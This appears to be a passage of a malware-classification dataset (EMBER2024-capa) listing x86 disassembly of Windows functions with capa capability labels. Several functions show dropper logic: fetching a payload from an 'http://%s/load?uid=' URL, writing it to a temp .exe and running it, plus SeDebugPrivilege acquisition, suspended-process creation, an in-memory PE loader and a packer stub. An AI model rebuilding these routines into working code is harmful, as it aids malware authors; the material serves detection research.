joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4032c8
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push 0x80000000
push dword [0x40606c]
call fcn.004037dc
mov ebx, eax
cmp ebx, 0xffffffff
pop ecx
pop ecx
jne 0x4032ef
xor eax, eax
jmp 0x4033d0
push esi
push edi
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edi, eax
push edi
mov dword [ebp - 4], edi
call fcn.00403802
pop ecx
push 0
mov esi, eax
lea eax, [ebp - 8]
push eax
push edi
push esi
push ebx
call dword [0x406044]
push ebx
call dword [0x406054]
push edi
push esi
call fcn.00403292
test eax, eax
pop ecx
pop ecx
je 0x4033af
mov edx, dword [eax + esi + 4]
lea edi, [eax + esi]
mov ecx, dword [edi]
push ecx
push edx
lea eax, [eax + esi + 8]
push eax
call fcn.00403265
add esp, 0xc
mov dword [edi], eax
push dword [0x40606c]
call dword [0x406048]
mov edi, 0x40000000
push edi
push dword [0x40606c]
call fcn.004037dc
mov ebx, eax
cmp ebx, 0xffffffff
pop ecx
pop ecx
jne 0x4033b3
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push edi
push dword [0x40606c]
call fcn.004037dc
mov ebx, eax
cmp ebx, 0xffffffff
pop ecx
pop ecx
jne 0x4033b3
push 0x1388
call dword [sym.imp.KERNEL32.DLL_Sleep]
push edi
push dword [0x40606c]
call fcn.004037dc
mov ebx, eax
cmp ebx, 0xffffffff
pop ecx
pop ecx
jne 0x4033b3
xor eax, eax
jmp 0x4033ce
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
push esi
push ebx
call dword [0x406058]
push ebx
call dword [0x406054]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4033d3
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push 0xff
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push str.qmopt.dll
lea eax, [ebp - 0x100]
push eax
push str._s_system32_s
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
leave
ret

Function at 0x403df1
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push edi
lea ecx, [ebp - 8]
call fcn.00401ec3
lea eax, [ebp - 0xc]
push eax
push str.SoftwareMicrosoftInternet_Explorer
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x403e7d
push 0x7f
pop ecx
mov byte [ebp - 0x214], al
lea edi, [ebp - 0x213]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push 0x405460
push dword [ebp - 0xc]
mov dword [ebp - 0x14], 0x200
mov dword [ebp - 0x10], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push ecx
push ecx
lea eax, [ebp - 0x214]
mov ecx, esp
push eax
call fcn.00401f14
lea ecx, [ebp - 8]
call fcn.00402064
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
call fcn.00401ee4
lea ecx, [ebp - 8]
call fcn.00401f45
mov eax, dword [ebp + 8]
pop edi
leave
ret
Function at 0x4011f1
Capabilities:
Create process on windows
Create process suspended
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1064
call fcn.00402b30
push ebx
push esi
push edi
xor esi, esi
push 0x10
lea eax, [ebp - 0x18]
push esi
push eax
mov dword [ebp - 4], esi
call fcn.00402190
push 0x44
pop edi
push edi
lea eax, [ebp - 0x60]
push esi
push eax
call fcn.00402190
mov dword [ebp - 0x60], edi
xor eax, eax
mov edi, 0x800
push edi
mov word [ebp - 0x30], ax
xor ebx, ebx
lea eax, [ebp - 0x860]
push esi
inc ebx
push eax
mov dword [ebp - 0x34], ebx
call fcn.00402190
push edi
lea eax, [ebp - 0x1060]
push esi
push eax
call fcn.00402190
add esp, 0x30
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x860]
push eax
push str.open
push str.http
push 2
push esi
mov dword [ebp - 8], 0x400
call dword [sym.imp.SHLWAPI.dll_AssocQueryStringW]
lea ecx, [ebp - 0x860]
call fcn.00402260
test eax, eax
je 0x4012ca
call fcn.00402330
cmp eax, esi
je 0x4012a3
mov edi, eax
mov eax, ecx
sub edi, eax
sar edi, 1
lea edx, [ebp - 0x1060]
call fcn.00402230
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x1060]
push eax
push esi
push 4
push ebx
push esi
push esi
lea eax, [ebp - 0x860]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x40132f
push ebx
push 0x26
lea eax, [ebp - 0x1060]
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov ecx, str.Internet_Explorer
lea eax, [ebp - 0x1060]
call fcn.00402270
mov ecx, eax
lea edx, [ebp - 0x860]
call fcn.00402200
mov ecx, str.iexplore.exe
lea eax, [ebp - 0x860]
call fcn.00402270
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x1060]
push eax
push esi
push 4
push ebx
push esi
push esi
lea eax, [ebp - 0x860]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40134d
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x40134d
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40194f
Capabilities:
Check if file exists
Create process on windows
Get common file path
Get file attributes
Print debug messages
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1060
call fcn.00402b30
mov eax, dword [ebp + 8]
push esi
push edi
lea ecx, [eax + 8]
push ecx
add eax, 0x34
push eax
push str.http:___s_load__uid_S
lea edx, [ebp - 0x860]
call fcn.00402360
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add esp, 0xc
push str.payload
call esi
lea eax, [ebp - 0x860]
push eax
call esi
lea eax, [ebp - 4]
push eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x860]
push eax
push dword [ebp + 0xc]
xor esi, esi
mov dword [ebp + 8], esi
call fcn.00401355
add esp, 0x10
test eax, eax
je 0x401a95
cmp dword [ebp + 8], esi
je 0x401a95
lea eax, [ebp - 0x1060]
push eax
push 0x400
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x1060]
push eax
push str._spld_d.exe
lea edx, [ebp - 0x860]
call fcn.00402360
add esp, 0xc
lea eax, [ebp - 0x860]
push eax
inc edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4019d6
push esi
push esi
push 2
push esi
push esi
push 0x40000000
lea eax, [ebp - 0x860]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x401a8d
push esi
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0x10
lea eax, [ebp - 0x14]
push esi
push eax
call fcn.00402190
add esp, 0xc
push 0x44
lea eax, [ebp - 0x60]
push esi
push eax
call fcn.00402190
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x60]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x860]
push eax
push esi
mov dword [ebp - 0x60], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x401a8d
push dword [ebp - 0x10]
call edi
push dword [ebp - 0x14]
call edi
mov eax, dword [ebp + 8]
call fcn.00402170
pop edi
pop esi
leave
ret
Function at 0x401fe3
Capabilities:
Create process on windows
Create process suspended
Move file
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2064
call fcn.00402b30
push ebx
push esi
push edi
mov edi, 0x400
push edi
lea eax, [ebp - 0x1860]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
push edi
lea eax, [ebp - 0x1060]
push eax
lea eax, [ebp - 0x1860]
push eax
call ebx
lea ecx, [ebp - 0x1060]
call fcn.00402330
mov dword [ebp - 4], eax
test eax, eax
je 0x4020ed
lea esi, [ebp - 0x2060]
call fcn.00402999
test eax, eax
je 0x4020ed
push edi
lea eax, [ebp - 0x860]
push eax
mov eax, esi
push eax
call ebx
mov ecx, dword [ebp - 4]
add ecx, 2
lea eax, [ebp - 0x860]
call fcn.00402270
mov edx, eax
lea esi, [ebp - 0x1060]
call fcn.004022b0
test eax, eax
je 0x4020ed
push 2
lea eax, [ebp - 0x860]
push eax
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 0x10
xor esi, esi
lea eax, [ebp - 0x14]
push esi
push eax
call fcn.00402190
push 0x44
pop edi
push edi
lea eax, [ebp - 0x60]
push esi
push eax
call fcn.00402190
add esp, 0x18
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x60]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x860]
push eax
push esi
mov dword [ebp - 0x60], edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4020db
push dword [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x14]
call edi
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4020f2
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x248
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x244
mov dword [0x404024], eax
lea eax, [esp + 4]
push 0
push eax
call fcn.00402190
add esp, 0xc
call fcn.00402870
call fcn.00401fe3
lea eax, [esp]
push eax
call fcn.0040176a
pop ecx
test eax, eax
je 0x40213f
lea eax, [esp]
push eax
call fcn.00401a99
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4023a0
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [ebx]
movzx ecx, word [eax + 0x14]
xor edx, edx
push esi
lea esi, [ecx + eax + 0x18]
mov dword [esp + 4], 0
cmp dx, word [eax + 6]
jae 0x40244e
push ebp
add esi, 0x10
push edi
mov eax, dword [esi]
test eax, eax
jne 0x4023fc
mov eax, dword [esp + 0x18]
mov edi, dword [eax + 0x38]
test edi, edi
jle 0x402432
mov ecx, dword [esi - 4]
add ecx, dword [ebx + 4]
push 4
push 0x1000
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0
push eax
mov dword [esi - 8], eax
call fcn.00402190
add esp, 0xc
jmp 0x402432
mov edx, dword [esi - 4]
add edx, dword [ebx + 4]
push 4
push 0x1000
push eax
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [esi + 4]
mov edi, dword [esi]
add ecx, dword [esp + 0x14]
test edi, edi
jbe 0x40242f
mov ebp, ecx
mov edx, eax
sub ebp, eax
mov cl, byte [edx + ebp]
mov byte [edx], cl
inc edx
sub edi, 1
jne 0x402424
mov dword [esi - 8], eax
mov edx, dword [ebx]
mov eax, dword [esp + 0xc]
movzx ecx, word [edx + 6]
inc eax
add esi, 0x28
cmp eax, ecx
mov dword [esp + 0xc], eax
jl 0x4023c5
pop edi
pop ebp
pop esi
pop ecx
ret

Function at 0x402460
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
mov ebx, dword [eax]
movzx ecx, word [ebx + 0x14]
push ebp
xor edx, edx
xor ebp, ebp
lea eax, [ecx + ebx + 0x18]
cmp dx, word [ebx + 6]
jae 0x402515
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x4024b7
mov eax, dword [edi - 0x14]
mov ecx, dword [edi - 0x1c]
push 0x4000
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x4024fd
lea edx, [edx + ecx*2]
lea ecx, [esi + edx*2]
mov edx, dword [ecx*4 + 0x404004]
test eax, 0x4000000
je 0x4024d1
or edx, 0x200
mov ecx, dword [edi - 0x14]
test ecx, ecx
jne 0x4024ea
test al, 0x40
je 0x4024e1
mov ecx, dword [ebx + 0x20]
jmp 0x4024e8
test al, al
jns 0x4024fd
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x4024fd
lea eax, [esp + 0x10]
push eax
push edx
push ecx
mov ecx, dword [edi - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
mov ebx, dword [edx]
movzx eax, word [ebx + 6]
inc ebp
add edi, 0x28
cmp ebp, eax
jl 0x402484
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x4026e0
Capabilities:
Parse pe header

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
mov ecx, 0x5a4d
xor ebx, ebx
cmp word [eax], cx
jne 0x4027f7
push edi
mov edi, dword [eax + 0x3c]
add edi, eax
cmp dword [edi], 0x4550
jne 0x4027f1
mov edx, dword [edi + 0x50]
mov eax, dword [edi + 0x34]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
push 4
push 0x2000
push edx
push eax
call ebp
mov esi, eax
test esi, esi
jne 0x40273f
mov ecx, dword [edi + 0x50]
push 4
push 0x2000
push ecx
push eax
call ebp
mov esi, eax
test esi, esi
je 0x4027da
push 0x10
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
xor eax, eax
push 4
mov dword [ebx + 4], esi
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], eax
mov edx, dword [edi + 0x50]
push 0x1000
push edx
push esi
call ebp
mov eax, dword [edi + 0x54]
push 4
push 0x1000
push eax
push esi
call ebp
mov ebp, dword [esp + 0x18]
mov ecx, dword [ebp + 0x3c]
add ecx, dword [edi + 0x54]
mov dword [esp + 0x10], eax
je 0x4027a4
mov edx, eax
mov eax, ebp
sub eax, edx
mov dword [esp + 0x18], ecx
mov cl, byte [eax + edx]
mov byte [edx], cl
inc edx
sub dword [esp + 0x18], 1
jne 0x402793
mov eax, dword [esp + 0x10]
mov edx, dword [ebp + 0x3c]
add eax, edx
push edi
mov dword [ebx], eax
push ebp
mov dword [eax + 0x34], esi
call fcn.004023a0
add esp, 8
sub esi, dword [edi + 0x34]
je 0x4027c6
push esi
call fcn.00402520
add esp, 4
mov edi, ebx
call fcn.004025a0
test eax, eax
je 0x4027e2
push ebx
call fcn.00402460
add esp, 4
pop esi
pop ebp
pop edi
mov eax, ebx
pop ebx
pop ecx
ret
mov esi, ebx
call fcn.00402800
pop esi
pop ebp
pop edi
xor eax, eax
pop ebx
pop ecx
ret
pop edi
mov eax, ebx
pop ebx
pop ecx
ret
mov eax, ebx
pop ebx
pop ecx
ret

Function at 0x402870
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x20
push esi
lea eax, [esp + 4]
push eax
push 0x28
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4028e5
lea ecx, [esp + 8]
push ecx
push str.SeDebugPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x4028da
mov edx, dword [esp + 8]
mov eax, dword [esp + 0xc]
push esi
push esi
push 0x10
lea ecx, [esp + 0x1c]
push ecx
mov dword [esp + 0x24], edx
mov edx, dword [esp + 0x14]
push esi
push edx
mov dword [esp + 0x28], 1
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov esi, eax
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x20
ret
Function at 0x4028ec
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2000
call fcn.00402b30
mov ecx, dword [ebp + 8]
push esi
xor edx, edx
call fcn.00402260
mov esi, eax
cmp esi, 0xfff
jae 0x402994
push 0x2000
push edx
lea eax, [ebp - 0x2000]
push eax
call fcn.00402190
mov ecx, dword [ebp + 8]
add esp, 0xc
lea edx, [ebp - 0x2000]
call fcn.00402200
lea eax, [ebp + esi*2 - 0x2000]
cmp word [eax], 0x5c
je 0x402948
push 0x5c
pop ecx
mov word [eax], cx
lea eax, [ebp - 0x2000]
jmp 0x402978
xor eax, eax
lea ecx, [ebp - 0x2000]
mov word [esi], ax
call fcn.00402260
test eax, eax
je 0x40296f
push 0
mov eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x5c
pop eax
mov word [esi], ax
lea eax, [esi + 2]
call fcn.00402300
mov esi, eax
test esi, esi
jne 0x402950
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor edx, edx
cmp eax, 0xffffffff
setne dl
mov eax, edx
pop esi
leave
ret

Function at 0x4029cf
Capabilities:
Get system information on windows

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x140
cmp dword [section..data], 0xffffffff
jne 0x402a87
and dword [section..data], 0
lea eax, [ebp - 0xc8]
push eax
mov dword [ebp - 0xc8], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp + 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [ebp - 0xc4]
xor ecx, ecx
cmp word [ebp + 0x54], cx
setne cl
sub eax, 5
mov dword [0x404028], ecx
je 0x402a5e
dec eax
jne 0x402a8d
mov eax, dword [ebp - 0xc0]
sub eax, 0
je 0x402a47
dec eax
jne 0x402a8d
cmp byte [ebp + 0x52], 1
setne al
lea eax, [eax + eax + 3]
jmp 0x402a57
xor eax, eax
cmp byte [ebp + 0x52], 1
setne al
dec eax
and eax, 0xfffffffd
add eax, 5
mov dword [section..data], eax
jmp 0x402a8d
xor eax, eax
inc eax
cmp dword [ebp - 0xc0], eax
jbe 0x402a57
cmp dword [ebp - 0xc0], 2
jne 0x402a8d
cmp byte [ebp + 0x52], al
jne 0x402a7b
test ecx, ecx
jne 0x402a57
mov dword [section..data], 4
jmp 0x402a8d
mov ecx, dword [0x404028]
test edi, edi
je 0x402a93
mov dword [edi], ecx
mov eax, dword [section..data]
add ebp, 0x78
leave
ret
Function at 0x402a9d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
mov edi, eax
shr edi, 5
mov dword [ebp - 0x14], edi
mov ecx, edi
mov dword [ebp - 0x10], edi
test al, 0x1f
je 0x402abb
lea ecx, [edi + 1]
mov dword [ebp - 0x10], ecx
and dword [ebp - 4], 0
test ecx, ecx
jbe 0x402b24
push ebx
mov dword [ebp - 8], eax
and dword [ebp - 8], 0x1f
push esi
mov esi, edx
lea eax, [ecx - 1]
cmp dword [ebp - 4], eax
jne 0x402adf
cmp ecx, edi
je 0x402adf
mov eax, dword [ebp - 8]
jmp 0x402ae2
push 0x20
pop eax
mov dword [ebp - 0xc], eax
xor edx, edx
shr dword [ebp - 0xc], 1
je 0x402b17
lea eax, [esi + eax - 1]
mov edi, dword [ebp + 8]
mov ecx, edx
and ecx, 0x3f
mov cl, byte [ecx + edi]
xor byte [esi + edx], cl
xor byte [eax], cl
mov bl, byte [eax]
mov cl, byte [esi + edx]
mov byte [esi + edx], bl
inc edx
mov byte [eax], cl
dec eax
cmp edx, dword [ebp - 0xc]
jb 0x402af0
mov edi, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
inc dword [ebp - 4]
add esi, 0x20
cmp dword [ebp - 4], ecx
jb 0x402ace
pop esi
pop ebx
pop edi
leave
ret
Function at 0x917f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x7c2015
lea edi, [esi - 0x3c1015]
push edi
or ebp, 0xffffffff
jmp 0x917fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x917fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x917f98
mov eax, 1
add ebx, ebx
jne 0x917fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x917fcc
jne 0x917feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x917feb
dec eax
add ebx, ebx
jne 0x917fd8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x917fb0
add ebx, ebx
jne 0x917fe7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x91803d
xor ecx, ecx
sub eax, 3
jb 0x918003
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x918072
sar eax, 1
mov ebp, eax
jmp 0x91800e
add ebx, ebx
jne 0x91800e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x917fdc
inc ecx
add ebx, ebx
jne 0x91801c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x917fdc
add ebx, ebx
jne 0x918029
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x91801e
jne 0x91803a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x91801e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x91805c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x91804e
jmp 0x917f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x91805c
add edi, ecx
jmp 0x917f9e
pop esi
mov edi, esi
mov ecx, 0xe9d6
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x91807a
cmp byte [edi], 0xe6
jne 0x91807a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x91807f
lea edi, [esi + 0x513000]
mov eax, dword [edi]
or eax, eax
je 0x9180ee
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x540f68]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x5410b4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x9180ac
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x5410bc]
or eax, eax
je 0x9180e8
mov dword [ebx], eax
add ebx, 4
jmp 0x9180c9
call dword [esi + 0x5410b8]
mov ebp, dword [esi + 0x5410c0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x918122
sub esp, 0xffffff80
jmp 0x6ed85c
Function at 0x401ff0
Capabilities:
Create process on windows

Disassembly:
push ecx
add ecx, 0x64
push str.ChsClient_setup.exe
lea eax, [esp + 4]
push ecx
push eax
call fcn.004093ec
mov ecx, dword [eax]
push 5
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [esp]
call fcn.004092de
pop ecx
ret

Function at 0x402030
Capabilities:
Create process on windows

Disassembly:
push ecx
add ecx, 0x64
push str.Passive.exe
lea eax, [esp + 4]
push ecx
push eax
call fcn.004093ec
mov ecx, dword [eax]
push 5
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [esp]
call fcn.004092de
pop ecx
ret

Function at 0x402070
Capabilities:
Create process on windows

Disassembly:
push ecx
add ecx, 0x64
push str.Acrobat_ar500chs.exe
lea eax, [esp + 4]
push ecx
push eax
call fcn.004093ec
mov ecx, dword [eax]
push 5
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [esp]
call fcn.004092de
pop ecx
ret

Function at 0x4020b0
Capabilities:
Create process on windows

Disassembly:
push ecx
add ecx, 0x64
push str.Chs_readme.txt
lea eax, [esp + 4]
push ecx
push eax
call fcn.004093ec
mov ecx, dword [eax]
push 5
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [esp]
call fcn.004092de
pop ecx
ret

Function at 0x4020f0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x40f4eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x40c
call fcn.0040e2d3
mov eax, dword [eax + 8]
lea ecx, [esp + 0x108]
push 0x104
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x30c]
lea eax, [esp + 0x20c]
push edx
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0xc]
push ecx
lea eax, [esp + 0x114]
push edx
push eax
call fcn.00403036
add esp, 0x14
lea ecx, [esp + 4]
push ecx
lea ecx, [esp + 4]
call fcn.00409308
lea edx, [esp + 8]
lea ecx, [esp]
push edx
mov dword [esp + 0x418], 0
call fcn.004094bf
mov eax, dword [esp]
push 5
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [esp]
mov dword [esp + 0x414], 0xffffffff
call fcn.004092de
mov ecx, dword [esp + 0x40c]
mov dword fs:[0], ecx
add esp, 0x418
ret

Function at 0x4021c0
Capabilities:
Create process on windows

Disassembly:
push ecx
mov eax, dword [0x416190]
push str.diag.exe
test eax, eax
je 0x4021fe
add ecx, 0x64
lea eax, [esp + 4]
push ecx
push eax
call fcn.004093ec
mov ecx, dword [eax]
push 5
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [esp]
call fcn.004092de
pop ecx
ret
add ecx, 0x64
lea edx, [esp + 4]
push ecx
push edx
call fcn.004093ec
mov eax, dword [eax]
push 5
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [esp]
call fcn.004092de
pop ecx
ret

Function at 0x4022d0
Capabilities:
Create process on windows

Disassembly:
push 5
push 0
push 0
push str.http:__www.yuanzhi.com.cn
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
ret